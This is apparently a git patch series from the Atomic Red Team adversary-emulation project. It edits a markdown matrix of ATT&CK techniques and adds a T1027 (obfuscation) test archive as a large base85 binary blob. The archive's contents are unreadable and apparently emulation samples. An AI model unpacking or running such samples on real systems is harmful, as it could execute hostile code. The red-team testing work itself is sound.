TEST](https://atomicredteam.io/contributing) | [Hooking](../../T1179/T1179.md) | [Password Policy Discovery](../../T1201/T1201.md) | [Remote File Copy](../../T1105/T1105.md) | [Email Collection](../../T1114/T1114.md) | Scheduled Transfer [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Generation Algorithms [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Inhibit System Recovery](../../T1490/T1490.md) | | Trusted Relationship [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Graphical User Interface [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Change Default File Association](../../T1042/T1042.md) | [File System Permissions Weakness](../../T1044/T1044.md) | [Component Object Model Hijacking](../../T1122/T1122.md) | [Input Capture](../../T1056/T1056.md) | Peripheral Device Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Input Capture](../../T1056/T1056.md) | | Fallback Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Network Denial of Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [InstallUtil](../../T1118/T1118.md) | Component Firmware [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Hooking](../../T1179/T1179.md) | [Connection Proxy](../../T1090/T1090.md) | [Input Prompt](../../T1141/T1141.md) | [Permission Groups Discovery](../../T1069/T1069.md) | Replication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Man in the Browser [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Multi-Stage Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Resource Hijacking](../../T1496/T1496.md) | -| | LSASS Driver [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Component Object Model Hijacking](../../T1122/T1122.md) | [Image File Execution Options Injection](../../T1183/T1183.md) | [Control Panel Items](../../T1196/T1196.md) | [Kerberoasting](../../T1208/T1208.md) | [Process Discovery](../../T1057/T1057.md) | Shared Webroot [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Screen Capture](../../T1113/T1113.md) | | Multi-hop Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Runtime Data Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [InstallUtil](../../T1118/T1118.md) | Component Firmware [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Hooking](../../T1179/T1179.md) | [Connection Proxy](../../T1090/T1090.md) | [Input Prompt](../../T1141/T1141.md) | [Permission Groups Discovery](../../T1069/T1069.md) | Replication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Man in the Browser [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Multi-Stage Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Resource Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | LSASS Driver [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Component Object Model Hijacking](../../T1122/T1122.md) | [Image File Execution Options Injection](../../T1183/T1183.md) | [Control Panel Items](../../T1196/T1196.md) | [Kerberoasting](../../T1208/T1208.md) | [Process Discovery](../../T1057/T1057.md) | Shared Webroot [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Screen Capture [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Multi-hop Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Runtime Data Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | [Mshta](../../T1170/T1170.md) | [Create Account](../../T1136/T1136.md) | [New Service](../../T1050/T1050.md) | [DCShadow](../../T1207/T1207.md) | LLMNR/NBT-NS Poisoning and Relay [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Query Registry](../../T1012/T1012.md) | Taint Shared Content [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Video Capture [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Multiband Communication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Service Stop](../../T1489/T1489.md) | | | [PowerShell](../../T1086/T1086.md) | [DLL Search Order Hijacking](../../T1038/T1038.md) | [Parent PID Spoofing](../../T1502/T1502.md) | [DLL Search Order Hijacking](../../T1038/T1038.md) | [Network Sniffing](../../T1040/T1040.md) | [Remote System Discovery](../../T1018/T1018.md) | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | Multilayer Encryption [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Stored Data Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | [Regsvcs/Regasm](../../T1121/T1121.md) | External Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Path Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [DLL Side-Loading](../../T1073/T1073.md) | [Password Filter DLL](../../T1174/T1174.md) | [Security Software Discovery](../../T1063/T1063.md) | [Windows Admin Shares](../../T1077/T1077.md) | | | [Remote Access Tools](../../T1219/T1219.md) | [System Shutdown/Reboot](../../T1529/T1529.md) | @@ -53,7 +53,7 @@ | | | | | [Scripting](../../T1064/T1064.md) | | | | | | | | | | | | | [Signed Binary Proxy Execution](../../T1218/T1218.md) | | | | | | | | | | | | | [Signed Script Proxy Execution](../../T1216/T1216.md) | | | | | | | | -| | | | | [Software Packing](../../T1045/T1045.md) | | | | | | | | +| | | | | Software Packing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | | | | | | | Template Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | | | | | | | [Timestomp](../../T1099/T1099.md) | | | | | | | | | | | | | [Trusted Developer Utilities](../../T1127/T1127.md) | | | | | | | | From 65bf09109d46084d63a6db3c65d6614f02f12328 Mon Sep 17 00:00:00 2001 From: tlor89 <60741301+tlor89@users.noreply.github.com> Date: Wed, 13 May 2020 11:00:29 -0500 Subject: [PATCH 05/16] T1027_Folder_Update (#984) Co-authored-by: Toua Lor --- atomics/T1027/bin/T1027.zip | Bin 0 -> 432695 bytes 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 atomics/T1027/bin/T1027.zip diff --git a/atomics/T1027/bin/T1027.zip b/atomics/T1027/bin/T1027.zip new file mode 100644 index 0000000000000000000000000000000000000000..999d08803edef80276b4aced298322a8c28a3706 GIT binary patch literal 432695 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 